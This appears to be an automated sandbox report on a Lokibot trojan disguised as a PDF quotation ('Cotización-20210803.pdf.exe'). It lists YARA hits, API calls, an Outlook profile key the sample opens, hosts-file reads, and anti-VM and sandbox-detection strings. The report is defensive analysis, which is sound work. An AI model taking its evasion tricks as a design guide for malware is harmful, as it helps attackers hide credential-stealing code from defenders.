Source: 00000000.00000002.304824656.0000000003FD9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research

Source: Cotizaci#U00f3n-20210803.pdf.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/3@153/2

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Code function: 14_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,

14_2_0040650A

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Code function: 14_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize,

14_2_0040434D

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Cotizaci#U00f3n-20210803.pdf.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Mutant created: \Sessions\1\BaseNamedObjects\8F9C4E9C79A3B52B3F739430

Source: Cotizaci#U00f3n-20210803.pdf.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Cotizaci#U00f3n-20210803.pdf.exe	Virustotal: Detection: 32%
Source: Cotizaci#U00f3n-20210803.pdf.exe	ReversingLabs: Detection: 26%

Source: unknown	Process created: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe 'C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe'
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process created: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe {path}
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process created: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe {path}	Jump to behavior

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source: Cotizaci#U00f3n-20210803.pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Cotizaci#U00f3n-20210803.pdf.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation:

Yara detected aPLib compressed binary

Show sources

Source: Yara match	File source: 14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.304824656.0000000003FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Cotizaci#U00f3n-20210803.pdf.exe PID: 5764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cotizaci#U00f3n-20210803.pdf.exe PID: 6108, type: MEMORYSTR

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_0090B790 push ecx; retf	0_2_0090B791
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_0090BC73 push eax; ret	0_2_0090BC7E
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_00910C77 push edx; ret	0_2_00910C78
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D079D push es; iretd	0_2_012D07A1
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D2C3D push esi; ret	0_2_012D2C67
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C66822 push cs; retf	0_2_05C66826
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 14_2_00402AC0 push eax; ret	14_2_00402AD4
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 14_2_00402AC0 push eax; ret	14_2_00402AFC
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 14_2_00A70C77 push edx; ret	14_2_00A70C78
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 14_2_00A6BC73 push eax; ret	14_2_00A6BC7E
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 14_2_00A6B790 push ecx; retf	14_2_00A6B791

Source: initial sample

Static PE information: section name: .text entropy: 7.62722089846

Hooking and other Techniques for Hiding and Protection:

Uses an obfuscated file name to hide its real file extension (double extension)

Show sources

Source: Possible double extension: pdf.exe

Static PE information: Cotizaci#U00f3n-20210803.pdf.exe

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match

File source: Process Memory Space: Cotizaci#U00f3n-20210803.pdf.exe PID: 5764, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: Cotizaci#U00f3n-20210803.pdf.exe, 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: Cotizaci#U00f3n-20210803.pdf.exe, 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe TID: 5840	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe TID: 6104	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe TID: 6104	Thread sleep time: -2460000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Code function: 14_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

14_2_00403D74

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Thread delayed: delay time: 60000			Jump to behavior

Source: Cotizaci#U00f3n-20210803.pdf.exe, 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA IIOData Source=localhost\sqlexpress;Initial Catalog=dbSMS;Integrated Security=True
Source: Cotizaci#U00f3n-20210803.pdf.exe, 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: Cotizaci#U00f3n-20210803.pdf.exe, 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
